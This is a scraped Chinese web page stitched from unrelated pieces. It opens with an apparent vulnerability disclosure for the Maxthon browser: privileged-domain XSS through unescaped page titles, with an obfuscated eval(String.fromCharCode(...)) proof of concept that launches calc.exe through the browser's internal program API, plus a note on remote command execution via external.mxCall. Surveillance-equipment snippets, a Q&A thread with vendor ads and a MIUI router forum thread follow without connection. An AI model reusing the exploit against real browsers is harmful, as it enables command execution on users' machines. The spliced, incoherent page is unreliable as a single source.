分享漏洞：
披露状态：
： 细节已通知厂商并且等待厂商处理中
： 厂商已经确认，细节仅向厂商公开
： 细节向第三方安全合作伙伴开放（、、）
： 细节向核心白帽子及相关领域专家公开
： 细节向普通白帽子公开
： 细节向实习白帽子公开
： 细节向公众公开
简要描述：
Remote command execution
详细说明：
傲游浏览器在设计的时候对关键的地方没有做过滤处理，导致res域下存在特权域的xss。结合前面研究过的案例是可以导致命令执行的。
1、傲游浏览器在对访问过的网页title没有做处理，就带入到了网页当中：
构造一个html如下：
&title&&script&alert(document.domain)&/script&&/title&
先访问一次，然后在打开新窗口的地方：
随意打开一个新窗口：
弹出了document.domain 是res，似乎我们可以做点什么。嗯
结合二哥之前发布的
http://**.**.**.**/bugs/wooyun-
Lyleaks发布的：
http://**.**.**.**/bugs/wooyun-
我们不难构造代码，
但是在构造代码的过程中，居然发现&script&&/script&这样不能直接执行，经过了无数次尝试，各种姿势都试过了，才发现通过引用外域&script src=&1.js&&&/script&可以达到调用任意exe的目的。
漏洞证明：
本地构造：
code 区域eval(String.fromCharCode(118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,105,102,114,97,109,101,34,41,59,115,46,115,114,99,61,34,109,120,58,47,47,114,101,115,47,110,111,116,105,102,105,99,97,116,105,111,110,47,34,59,115,46,111,110,108,111,97,100,61,102,117,110,99,116,105,111,110,40,41,123,115,46,99,111,110,116,101,110,116,87,105,110,100,111,119,46,109,97,120,116,104,111,110,46,112,114,111,103,114,97,109,46,80,114,111,103,114,97,109,46,108,97,117,110,99,104,40,34,67,58,47,119,105,110,100,111,119,115,47,115,121,115,116,101,109,51,50,47,99,97,108,99,46,101,120,101,34,44,34,34,41,125,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59))
先访问一次，然后再打开一个新窗口：
哦，对了，是最新版：
执行远程的命令，仅需要对external.mxCall对象做调用即可。前面例子很多了，不多说。。
演示链接: http://**.**.**.**/s/1kTBViT5 密码: ufks
修复方案：
对mx://res/quick-access/index.htm输出检查。过滤。
版权声明：转载请注明来源 @
厂商回应：
危害等级：高
漏洞Rank：12
确认时间： 17:20
厂商回复：
新标签页安全漏洞
最新状态：
漏洞评价：
对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
登陆后才能进行评分
好厉害,么么哒
@瘦蛟舞 谢谢师傅 么么哒
看着你们这些大V，我都不敢说话了，但还是要说一句：么么哒
梧桐雨到底是姐姐还是哥哥。好大的悬念啊
梧桐雨妹子，好厉害！
哇都是v了.
但是在构造代码的过程中，居然发现&script&&/script&这样不能直接执行，经过了无数次尝试，各种姿势都试过了，才发现原来自己真是个比较持久的男人....
登录后才能发表评论，请先监控防雷最简单的土办法和经验，每年都有因为打雷而坏掉的，大家有好的防雷技术可以交流一下吧！ 我先总结一下经验： 1：线材的布置对防雷很重要，尽量不要选择...
网络时代的今天，在高度智能化的社会里，我们可以通过无线传输将手机里的文件发送到电脑，也可以通过手机实现高速上网，正是在这种背景下，智能化监控孕育而生，...
大华创新推出硬盘录像机人脸检测智能DVR产品 近日，大华股份推出多款支持人脸检测的960H智能iDVR新品。产品凝聚了大华十余年在储存和智能分析等方面的核心技术，...
最近海康硬盘录像机黑屏现象比较普遍，有几个客户打电话给我他们的硬盘录像机都出现了无视频信号的情况，海康的7808N-SN这一款，我给不同的客户安装过三台，而这...
有趣的全球实时监控直播，坐在家里可以看到全国各地实时画面 访问地址： :8087/...
几大主流硬盘录像机对比,在安装监控时我们总会考虑使用什么样的硬盘录像机，我个人认为目前主流的硬盘录像机如，海康，大华，汉邦，中维这些能叫得上名的硬盘录...
相信大家都和我一个毛病！在安装监控的时候给客户随便找台显示器就给用上！其实这些毛病也是因为模拟摄像机不用考虑显示器的分辨率所形成的习惯！但现在网络高...
网络摄像头上面的时间与录相机间不一样，导致这种原因的可能性有很多方面，比如没有使用同型号的硬盘录像机和摄像机，有许多杂牌硬盘录像机没有时间同步功能就没...
养殖场联网远程监控项目的必要性 监视作用 通过摄像头所拍摄的图像可以判断猪群状况，以及饲养员是否按科学技术水平在操作，是否尽责。一个工作人员就可以通过...
力求综合布线的安装快捷迅速，不出现差错!...
网络高清每小时占用多少个G 网络高清摄像机每小时每天24小时录像占多大空间内存？ 每个100万，130万，200万像素的占用内存空间都是不同的，如果知道每种占的空间...
6204监控采集卡驱动下载6208监控采集驱动下载6204监控采集卡是做监控用的一种视频采集卡分为4跟和8路的卡此驱动程序适合 Techwell TW6805X系统的监控采集卡使用...
1．RS485总线基本特性： 根据RS485工业总线标准，RS485工业总线为特性阴抗120Q的半双工通讯 总线，其最大负载能力因为不同的接口IC为32。128个有效负载(包括主...
二进制地址码设置方法，监控球机地址码的设置方法，1到255球机地址码的设置方法 图表中1表示地址开关端子ON位置 0表示地址开关端子OFF位置...
网络高清监控系统解决方案 请放大图查看...
小区宽带不能做远程监控远程分析，近来我用汉邦，大华，海康等主流硬盘录像机生产商的硬盘录像机都遇到过同样的问题不能链接外网，这种情况大多发生在小区宽带等集中...
汉邦7904NVR 网络硬盘录像机 兼容问题TH38C-ONVIF V2.5.0.0 build 和ONVIF协议兼容有问题开机自动重新在起动。...
nvr ips 时间同步问题，网络硬盘录像机和网络摄像机时间同步问题，在一个监控的局域网内没有时间同步服务器，目前发现没有哪一款硬盘录像机的时间能和网络摄像机...
普通硬盘在上电启动的时候会全速启动，瞬间电流可能达到2安，甚至更高。监控硬盘启动的时候会缓慢加速，启动电流会控制在2安以下。因为监控系统中通常会安装多个...
臻视科技,nextchip,nvp1204,驱动nvp1204 采集卡驱动 nextchip nvp1204 驱动的下载及安装过程,将nvp1204 视频采集卡驱动下载并解压到一个文件包然后运行安装程序,先安装采集卡视频驱动程序,然后安装采集卡应用程序,就可以了 有时包装不同但驱动都是一样的只要你...
大华创新推出硬盘录像机人脸检测智能DVR产品 近日，大华股份推出多款支持人脸检测的96...
有趣的全球实时监控直播，坐在家里可以看到全国各地实时画面 访问地址： http://www.8...
几大主流硬盘录像机对比,在安装监控时我们总会考虑使用什么样的硬盘录像机，我个人认...
小区宽带不能做远程监控远程分析，近来我用汉邦，大华，海康等主流硬盘录像机生产商的...
海康威视,DS4004M,视频采集卡,驱动,监控软件 1.1.5 人性化 l 联动多画面电子地图，方...
做一个监控系统其实很简单见本站此分类下的教程就可以了,安装好采集卡,但是我们要使用...
图解如何安装监控采集卡过程 关键词：安装监控，采集卡安装，监控安装过程，采集卡，...
核心提示：监控,采集卡,提示注册 一台6204的监控视频采集卡在运行三个月后常提示要注...
如果大家想看看远程实时监控的效果请大家登录如下网址
打开网站...家用无线远程监控系统怎么卖？_百度知道
家用无线远程监控系统怎么卖？
我想家装位白孩阿姨怕安全单位能通网络看家哪位专家能帮忙给案希望要太贵谢谢
首先给免费：1、电脑摄像（要着需要观察）2、电脑肯定都让着显示器关啊3、PCANYWHERE用没用容易手免费哦4、家电脑都让PCANYWHERE控端（HOST）着要先定义控制端（callers）账号密码5、办公室电脑装PCANYWHERE用主控端（remotes）操作家电脑 QQ呢QQ远程控制需要控端同意家没同意啊 其给花点钱：用监控啦1、视频采集卡：推荐波粒卡（完善远程监控）型号家用（4口）应该<img class="word-replace" src="/api/getdecpic?picenc=0a007a0左右2、摄像机：普通含镜<img class="word-replace" src="/api/getdecpic?picenc=0ad0左右够家用3、安装、设置点电知识都应该看看说明书
其他类似问题
为您推荐：
其他7条回答
金鹏家用监控套装几百几千等远程监控用手机能看屋状况便
厦门威迪电子科技--可以帮你实现您的要求。 只需安装一个网络摄像机，支持手机远程控制的，适用于IOS，安卓系统。左右 360°，上下120°转动，可带GSM自动报警系统，在房门上安装一个门磁报警器，外加一个红外接收器，启动设防状态，当别人试图闯入时，触发防区报警，同时你的手机会接到GSM座机给你打过去的电话通知相关情况，可及时处理。
科技发展这么快，远程监控的网络摄像机越来越多了，只要你家里有网络，不管是有线还是无线都可以，当然最好的是无线网，方便，把摄像头连上，手机用智能手机下一个软件，然后开软件点摇一摇就出来了，你以后只要打开3G网络，在中国任何一个有3g信号的地方都可以看到你家里的情况了。详细的情况请到真速信公司里找客服吧。绝对不贵，只要700米。
我有一种无线监控设备,它可以在手机上,电脑上都可以看到一切实事,而且还带报警功能在手机上可以拍照片立为凭证,手机是智能手机一套只需要3200元,你可以登录海目达详细了解一下
天之赏智能家居不错的，我们幼儿园也是用这个品牌。这品牌在佛山市智能家居 监控算是数一数二的。值得选择
在家里的电脑上装个远程的视频采集卡，连接个摄像机，通过远程视频软件就可以随时看到家里的情况了！价格根据摄像机数量而定！
一个无线摄像头，一个AP，搞定。安装简单，可实现远程控制，手机、电脑都可以。广州图卫、专业无线。
远程监控系统的相关知识
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁经验1050 米
在线时间42 小时
版本5.11.12
积分 1367, 距离下一级还需 633 积分
积分 1367, 距离下一级还需 633 积分
机型小米手机3 TD版
签到次数59
MIUI版本5.11.12
本帖最后由 xfkl99 于
21:10 编辑
用tp -link&&路由器 端口映射 成功 也可以远程监控& && & 换小米路由器 就不行& && &监控机中的80号和544号说被占用& &那位大神给指点一下
摄像机的设置如下
.jpg (295.19 KB, 下载次数: 1)
.jpg (284.79 KB, 下载次数: 1)
.jpg (322.14 KB, 下载次数: 1)
路由器设置如下：
ABC.jpg (155.34 KB, 下载次数: 1)
abxd.jpg (169.93 KB, 下载次数: 1)
分享到微信朋友圈
打开微信，点击底部的“发现”，使用 “扫一扫” 即可将网页分享到我的朋友圈。
经验612 米
在线时间4 小时
版本6.1.21
积分 577, 距离下一级还需 1423 积分
积分 577, 距离下一级还需 1423 积分
机型小米手机3 TD版
签到次数55
MIUI版本6.1.21
你的录像机是不是带poe供电？如果不是的话就要把带poe供电的路由器的网线插到小米路由器的Lan口，再从另一个lan口回到硬盘录像机的网线插口这样就可以了，我的就是这样的
经验1050 米
在线时间42 小时
版本5.11.12
积分 1367, 距离下一级还需 633 积分
积分 1367, 距离下一级还需 633 积分
机型小米手机3 TD版
签到次数59
MIUI版本5.11.12
你的录像机是不是带poe供电？如果不是的话就要把带poe供电的路由器的网线插到小米路由器的Lan口，再从另一 ...
你的应该是海康网络摄像（机）头& & 我的是硬盘录像机&&咱们不是一样的&&而且你用的应该是萤石云
经验612 米
在线时间4 小时
版本6.1.21
积分 577, 距离下一级还需 1423 积分
积分 577, 距离下一级还需 1423 积分
机型小米手机3 TD版
签到次数55
MIUI版本6.1.21
我的也是硬盘录像机吖，我主型号Ds-7916n-e4
经验1050 米
在线时间42 小时
版本5.11.12
积分 1367, 距离下一级还需 633 积分
积分 1367, 距离下一级还需 633 积分
机型小米手机3 TD版
签到次数59
MIUI版本5.11.12
我的也是硬盘录像机吖，我主型号Ds-7916n-e4
那咱们俩还是不一样&&你的是网络硬盘录像机(NVR是数自信号存储) 我的模拟硬盘录像机(DVR是模拟信号存储)
经验1050 米
在线时间42 小时
版本5.11.12
积分 1367, 距离下一级还需 633 积分
积分 1367, 距离下一级还需 633 积分
机型小米手机3 TD版
签到次数59
MIUI版本5.11.12
大侠 在哪里啊啊
经验906 米
在线时间11 小时
版本6.3.17
积分 912, 距离下一级还需 1088 积分
积分 912, 距离下一级还需 1088 积分
机型小米Note 顶配版
签到次数106
MIUI版本6.3.17
把本地IP地址改为192.168.1.1。
已关注极客秀微信
Copyright (C) 2016 MIUI
京ICP备号 | 京公网安备34号 | 京ICP证110507号}